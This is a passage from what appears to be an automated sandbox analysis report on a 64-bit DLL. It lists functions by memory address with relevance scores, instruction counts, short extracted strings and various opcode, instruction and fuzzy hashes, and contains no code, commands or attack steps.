                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: xy
                                                                        • API String ID: 0-578984673
                                                                        • Opcode ID: 17bb31bb362f2ad5c7fd4b4c81829862c7e83dde69708cc6da4fbf48af08600f
                                                                        • Instruction ID: 35e51ed8a8e96ec7560c4deb1ab4a4ab81e8ea7ebf0b506762b23c6e6126dda7
                                                                        • Opcode Fuzzy Hash: 17bb31bb362f2ad5c7fd4b4c81829862c7e83dde69708cc6da4fbf48af08600f
                                                                        • Instruction Fuzzy Hash: 6F317F715183818B9348DF28C49A52ABBE1FBCC318F905B1DF8CAA7390D778D6158F4A
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018001D4D0 Relevance: 1.3, Strings: 1, Instructions: 73COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: <
                                                                        • API String ID: 0-526293805
                                                                        • Opcode ID: 321d720d3d7db507eabee4dd342704b6ef45e660c7d068d108f30aaeb31130dd
                                                                        • Instruction ID: 95378e4b1897521d347bcbdc806cf7e332e16b7ace8e65e41a5452ac871b9b39
                                                                        • Opcode Fuzzy Hash: 321d720d3d7db507eabee4dd342704b6ef45e660c7d068d108f30aaeb31130dd
                                                                        • Instruction Fuzzy Hash: 87316170528380ABD388DF29C49981BBBE1FBC9304F806A1DF9C68B294D774D805CB43
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180003F40 Relevance: 1.3, Strings: 1, Instructions: 73COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: 3Z
                                                                        • API String ID: 0-1041026853
                                                                        • Opcode ID: 01bfd849e784ac6903e143b5adbb16f3705b11f7cb91b7ac013152a912f4ed5c
                                                                        • Instruction ID: 3030c86bdc6650e79dabe1a9602a3450f86ef26d4dd730055a4c5ff953d25b22
                                                                        • Opcode Fuzzy Hash: 01bfd849e784ac6903e143b5adbb16f3705b11f7cb91b7ac013152a912f4ed5c
                                                                        • Instruction Fuzzy Hash: 9F31AFB040474E8BDB49CF64D48A5DF7FB0FB28398F210619E856A6250D3B8D6A4CFD5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180022E04 Relevance: 1.3, Strings: 1, Instructions: 72COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: Gi
                                                                        • API String ID: 0-3398374081
                                                                        • Opcode ID: 84f01e1d7def73d404e7ca61d7a5f231940803648e3656356f541b1cda333d8e
                                                                        • Instruction ID: a432e400d53339b2be29782d5622c004e496e2654f793733c796eb02829025a1
                                                                        • Opcode Fuzzy Hash: 84f01e1d7def73d404e7ca61d7a5f231940803648e3656356f541b1cda333d8e
                                                                        • Instruction Fuzzy Hash: 5B3171B0529781ABD788DF28D49A81BBBE1FBC8304F806A2DF9868B250D774D445CB42
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180002708 Relevance: 1.3, Strings: 1, Instructions: 70COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: |-
                                                                        • API String ID: 0-4231097972
                                                                        • Opcode ID: da09cdedbf386eb0e2753eee591904f0caa87d7abe42f1abcb7c903e67c98b86
                                                                        • Instruction ID: f4bcca97af8ad337045e3c8ac140f5163243ef5721515da4bca9d255a8ce233e
                                                                        • Opcode Fuzzy Hash: da09cdedbf386eb0e2753eee591904f0caa87d7abe42f1abcb7c903e67c98b86
                                                                        • Instruction Fuzzy Hash: F0318CB0528781AF8388DF28D48581BBBF1FBC8304F806A2EF886CB350D774D4458B42
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 00000001800146B4 Relevance: 1.3, Strings: 1, Instructions: 69COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: cn
                                                                        • API String ID: 0-2768463556
                                                                        • Opcode ID: 063fab0ec49741693dbc52246f1fd37521c927aa368f954c1a048caf42092cd5
                                                                        • Instruction ID: 573a2d4e03848a85db0f12bd494b70e08c9189f54f2516819cd5935ea548453a
                                                                        • Opcode Fuzzy Hash: 063fab0ec49741693dbc52246f1fd37521c927aa368f954c1a048caf42092cd5
                                                                        • Instruction Fuzzy Hash: 5331A2B0529780AFD78CDF28D59691EBBE1FBC9344F806A2DF8868B390D7759405CB42
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018001ABD8 Relevance: 1.3, Strings: 1, Instructions: 69COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: Xb
                                                                        • API String ID: 0-720389665
                                                                        • Opcode ID: 17c94e06a17034fbc9f10c344f2ede7a3fe20b0b62d78ec5278e80b9b9e61c35
                                                                        • Instruction ID: 91b47e4afe5e9b5db8cf524f6fd81387fcf8386c78854a58703512800c2a3643
                                                                        • Opcode Fuzzy Hash: 17c94e06a17034fbc9f10c344f2ede7a3fe20b0b62d78ec5278e80b9b9e61c35
                                                                        • Instruction Fuzzy Hash: 85210870658B448FE398CF29D48A51ABBE1FB85384F204A1DE495CB370D7B4C945CB82
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180024020 Relevance: 1.3, Strings: 1, Instructions: 68COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: +'\9
                                                                        • API String ID: 0-578698518
                                                                        • Opcode ID: dd5080abbe3794cc00d6f3c5414aae14ad67107c1ca0b8db0a31ef92eff77edd
                                                                        • Instruction ID: 206f8c51efd49258cbb93b91263566a45e9085cb86cd55a94674b4333fe3f8d9
                                                                        • Opcode Fuzzy Hash: dd5080abbe3794cc00d6f3c5414aae14ad67107c1ca0b8db0a31ef92eff77edd
                                                                        • Instruction Fuzzy Hash: DB212870208B449FD798DF28D58965BBBE2FB98744F405A1EF48AC7360D774D844CB02
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018000ED84 Relevance: 1.3, Strings: 1, Instructions: 68COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: <l
                                                                        • API String ID: 0-1982744179
                                                                        • Opcode ID: 2db1177352cd73b0331f739891796cde75e0ec20f3aeb5d2f4af3d512a179367
                                                                        • Instruction ID: 8b8ea5d6e09e07b6056d2d273abf0fd72f6c37a7a22d9957cb21fe1b369ae7ae
                                                                        • Opcode Fuzzy Hash: 2db1177352cd73b0331f739891796cde75e0ec20f3aeb5d2f4af3d512a179367
                                                                        • Instruction Fuzzy Hash: B5317F70528780AFD388DF28D49981EBBE0FB99344F816A2EF9868B364D775D445CB43
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180016594 Relevance: 1.3, Strings: 1, Instructions: 66COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: 4-
                                                                        • API String ID: 0-3207380349
                                                                        • Opcode ID: 4158c1f082f3f5a8b77e2afe5de94a8b0ae6d0ec855501ceef73a1a62d1632b4
                                                                        • Instruction ID: 16c0a164636ccce28980f9d24bcf0c8729a78ee771004a7449adb3eaaf0588b7
                                                                        • Opcode Fuzzy Hash: 4158c1f082f3f5a8b77e2afe5de94a8b0ae6d0ec855501ceef73a1a62d1632b4
                                                                        • Instruction Fuzzy Hash: 75319EB0629781AFD388DF28D58991ABBF1FBC9304F806A5DF9868B360D774D444CB02
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180004078 Relevance: 1.3, Strings: 1, Instructions: 65COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: |
                                                                        • API String ID: 0-1956522723
                                                                        • Opcode ID: c5e3cc76b1ed70b4182e45d6f9c9cb28726a70ced03980423ed3cc30a8c5a766
                                                                        • Instruction ID: 2f1e5198d3f84652492ac9733e5d828b8cbd298b8c1b8cbbb07342d02e9883d2
                                                                        • Opcode Fuzzy Hash: c5e3cc76b1ed70b4182e45d6f9c9cb28726a70ced03980423ed3cc30a8c5a766
                                                                        • Instruction Fuzzy Hash: 07316AB0A187808BD349DF28D45941EBBE0BB9D31CF414B1DF5CAA6290D77CD648CB4A
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180005484 Relevance: 1.3, Strings: 1, Instructions: 63COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: 5}
                                                                        • API String ID: 0-3445415368
                                                                        • Opcode ID: 86b3c4bae53a0b1bec2ad146aacb87fdd316c664a6c8b6d1ade51f187c4a9163
                                                                        • Instruction ID: 1464c190a490ca8f603fe4942684edd80af0da0efb6df6433c2deb7a744ecc67
                                                                        • Opcode Fuzzy Hash: 86b3c4bae53a0b1bec2ad146aacb87fdd316c664a6c8b6d1ade51f187c4a9163
                                                                        • Instruction Fuzzy Hash: 4121157160AB44AFD388DF69C58955BBBE0FB98744F90A91DF492C63A4D7B4D804CF02
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018000B1A8 Relevance: 1.3, Strings: 1, Instructions: 60COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: :$b
                                                                        • API String ID: 0-2229885062
                                                                        • Opcode ID: e95da024e6af3800dbf6f15e382c37e4e83d4a1b2c4dd5c1b9d0615b67ba7242
                                                                        • Instruction ID: dfe3fb2b1801237f1af73118ca7dbe881fe34a1f54a472376f612d1b9644e1d5
                                                                        • Opcode Fuzzy Hash: e95da024e6af3800dbf6f15e382c37e4e83d4a1b2c4dd5c1b9d0615b67ba7242
                                                                        • Instruction Fuzzy Hash: 3B317AB45087858BD348DF28C45991AFBE1BB8C71CF404B2DF4CAAB3A0D7799645CB4A
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180017B24 Relevance: 1.3, Strings: 1, Instructions: 59COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: }
                                                                        • API String ID: 0-512092715
                                                                        • Opcode ID: 0e736afdf03b46ebb9b446eb3fce043211b9b92680aba01dbdb34d597fbc3562
                                                                        • Instruction ID: 10336db1dd62152f65f9b7b457300fcfa79ff78764951fa381f1bb8a677f9da6
                                                                        • Opcode Fuzzy Hash: 0e736afdf03b46ebb9b446eb3fce043211b9b92680aba01dbdb34d597fbc3562
                                                                        • Instruction Fuzzy Hash: C9218CB052D780AFD389DF28D48A81BBBF1FB89345F806A2DF88687250D7B4D5448B03
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180007BB4 Relevance: 1.3, Strings: 1, Instructions: 59COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: V>
                                                                        • API String ID: 0-1817834886
                                                                        • Opcode ID: 3328eee4bec3fe93d1a4a478cda2ccd0b48ee22904aff4ea1f565c48989ff870
                                                                        • Instruction ID: 84008c3bed2ed1c3cb24c50d9d919193bca75209f1a1f7392e3d1e3adf6deeb0
                                                                        • Opcode Fuzzy Hash: 3328eee4bec3fe93d1a4a478cda2ccd0b48ee22904aff4ea1f565c48989ff870
                                                                        • Instruction Fuzzy Hash: BD2137706087449FE388DF29C08965BBBE2FBC8785F50992EF489C6360D7B4D848CB42
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018000B2BC Relevance: 1.3, Strings: 1, Instructions: 57COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: 3O?p
                                                                        • API String ID: 0-2965838254
                                                                        • Opcode ID: 642c6b271d9f67221fd54a17bf5ef0f93d401d9737cdb662ee2243f0f591abc0
                                                                        • Instruction ID: 09a78a9099cc3a21a3ba63a95d205c469000d303d50e42ea7873165f4155ce16
                                                                        • Opcode Fuzzy Hash: 642c6b271d9f67221fd54a17bf5ef0f93d401d9737cdb662ee2243f0f591abc0
                                                                        • Instruction Fuzzy Hash: 25315CB5529380AFD788DF28C48681BBBF1FBC9304F906A1DF8868A294D3B5D544CB47
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 00000001800212FC Relevance: 1.3, Strings: 1, Instructions: 52COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: I
                                                                        • API String ID: 0-2159480749
                                                                        • Opcode ID: e12bde75b498dcf2301a3ad7adf3ceb6c9e95f29d9ee028ad345362893f97218
                                                                        • Instruction ID: b1257be3e2f908f1dd2529a9b7af946fcecda7d919450d03c60c3db7d150442e
                                                                        • Opcode Fuzzy Hash: e12bde75b498dcf2301a3ad7adf3ceb6c9e95f29d9ee028ad345362893f97218
                                                                        • Instruction Fuzzy Hash: 7D216774529780AFD3C9DF28D48A90BBBF0BB89344F806A2DF8C687260D7759548CB46
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180010680 Relevance: .3, Instructions: 305COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 44d576fb52b53df2752ec68c421180a711337e154daff74e2d6c601616dbebde
                                                                        • Instruction ID: 4d30e7e2d2899a9515bedaa12009e01b7a490d417ae1248d6cc17091aac366b9
                                                                        • Opcode Fuzzy Hash: 44d576fb52b53df2752ec68c421180a711337e154daff74e2d6c601616dbebde
                                                                        • Instruction Fuzzy Hash: B6E11570D0074C8BEB68DFE4C59A6DDBBB0FF44304F14862DD456AA294DBB49A4ACF41
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018002B0EC Relevance: .3, Instructions: 280COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 25e9785e14bfc532a33a8d2b5ce6672df74705a45cb337cafce4f8a35c514c61
                                                                        • Instruction ID: d314a7ddf09a7803251cd611269c1df0fd3b5e62bff00354fb48e83f572cd160
                                                                        • Opcode Fuzzy Hash: 25e9785e14bfc532a33a8d2b5ce6672df74705a45cb337cafce4f8a35c514c61
                                                                        • Instruction Fuzzy Hash: 77D11A7050464E8FDB89CF24C88AADE3FA1FB68398F515219FC4AA7290D778D594CBC4
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180026B40 Relevance: .3, Instructions: 272COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: b89b183d7c1d5a0356901a28c2e1b4f3e0a45c03554d65ab663bd5b8c624682b
                                                                        • Instruction ID: 8dbe918cbef0356fe92ad81e535131e28fb6f85b3e1338123f18f4b5af24c757
                                                                        • Opcode Fuzzy Hash: b89b183d7c1d5a0356901a28c2e1b4f3e0a45c03554d65ab663bd5b8c624682b
                                                                        • Instruction Fuzzy Hash: E8C1B074A0560CCBEBAADF64C0967DDB7F2FF58344F10412DE816A72A1CB78991ACB44
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018001E7A4 Relevance: .2, Instructions: 247COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 02f09d555bcef33c7fffdbe230edac8683f831c4b8202bb63c62184f58ab25f3
                                                                        • Instruction ID: e81f2967074073836c37aa51c53f0fb4eba6e6bcda6099fed99573ad20716e92
                                                                        • Opcode Fuzzy Hash: 02f09d555bcef33c7fffdbe230edac8683f831c4b8202bb63c62184f58ab25f3
                                                                        • Instruction Fuzzy Hash: B4B12870D107499BDF88CFA8C8899EDBBF0FB48314F40921DE816A7290D778A985CF95
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018001B028 Relevance: .2, Instructions: 224COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 037e2042bd2a0acb3e393e378e78f344ed8b94baf85b07ee52f3f9808c864edc
                                                                        • Instruction ID: 85fd07cda8e22e38262e56476ba3c66a0c5fb242515a7a9786c4cfbbd93762e2
                                                                        • Opcode Fuzzy Hash: 037e2042bd2a0acb3e393e378e78f344ed8b94baf85b07ee52f3f9808c864edc
                                                                        • Instruction Fuzzy Hash: 65B1F470D0470E8BDF98CFA8C8866EEBBB0FB48344F10811DE456B6291D7789A49CF95
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018001406C Relevance: .2, Instructions: 197COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 7f0a0319216a87eaaa37156c3843347877d9c742f4f57ae8c16ead42c7bd4d8b
                                                                        • Instruction ID: 868af7861dd97a9bb09589d82df9d9b088edc4944a2937bcdba34dbcf21925b8
                                                                        • Opcode Fuzzy Hash: 7f0a0319216a87eaaa37156c3843347877d9c742f4f57ae8c16ead42c7bd4d8b
                                                                        • Instruction Fuzzy Hash: 76913C7150064C8BEB99CF18D8857DD3BA0FB4C358F565319F84AEB2A0C778D949CB85
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 00000001800127A4 Relevance: .2, Instructions: 165COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 820c1944f73366a5fbc18823559b391f83fcd7b0674d9affd02dd8bab25143af
                                                                        • Instruction ID: 7eb0b959a6915eaa3501dfdda469dbf781b41d20128460d34269797a8a35498e
                                                                        • Opcode Fuzzy Hash: 820c1944f73366a5fbc18823559b391f83fcd7b0674d9affd02dd8bab25143af
                                                                        • Instruction Fuzzy Hash: 39614A7860760CCBDB69DF38C4D56A937E1EF68344F20412DEC26872A2DB74D929CB48
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018001762C Relevance: .2, Instructions: 162COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 32639a0ac486f17a790af64588b71752bfeae29b315ec130387c0f9bb313e8ce
                                                                        • Instruction ID: 639b414137e583a62d49d9c56b2846ebbb52b9cb6aee409e6d6f1ef24545e1bc
                                                                        • Opcode Fuzzy Hash: 32639a0ac486f17a790af64588b71752bfeae29b315ec130387c0f9bb313e8ce
                                                                        • Instruction Fuzzy Hash: A2715A7121078C9BEB99CF18C8896DD3BB0FB08398F565319FC4AA6290D778D884CB49
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180017DB0 Relevance: .1, Instructions: 143COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: e660bb8dbd585ac44baa89714007651326a0f7485406fcacd91da596ea4a28a8
                                                                        • Instruction ID: 26518d7cbc9e78ed4e3b2b937b803a8d2ed537c7be8843cdc1989f619ad6fa3a
                                                                        • Opcode Fuzzy Hash: e660bb8dbd585ac44baa89714007651326a0f7485406fcacd91da596ea4a28a8
                                                                        • Instruction Fuzzy Hash: C8511B70D0460E8BEF95DF98C4857EEBBB0FB08344F108129E505B7291DB789A49CF96
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 00000001800178C4 Relevance: .1, Instructions: 142COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: ec593b80def78b66f206c32313c3bfcf58b2275c46c2ba9467975e2ce4df2791
                                                                        • Instruction ID: 816040463929d2e4de8b9012cb883c3182e232f124b32723450ad839f9ecf725
                                                                        • Opcode Fuzzy Hash: ec593b80def78b66f206c32313c3bfcf58b2275c46c2ba9467975e2ce4df2791
                                                                        • Instruction Fuzzy Hash: B571BFB090074A8BDB88DF64C58A4DE7FB1FB68398F204119FC06972A0D7B4D6A5CBD1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180026F3C Relevance: .1, Instructions: 141COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 8f0e16368c704187141b6fb0efb02278d5bc33123132ba3fd1801deba8d4faa7
                                                                        • Instruction ID: dc10a10fa3d76c5f987aea9be3e24407f5c0ad9bbcaa0ea0285da969b42249b9
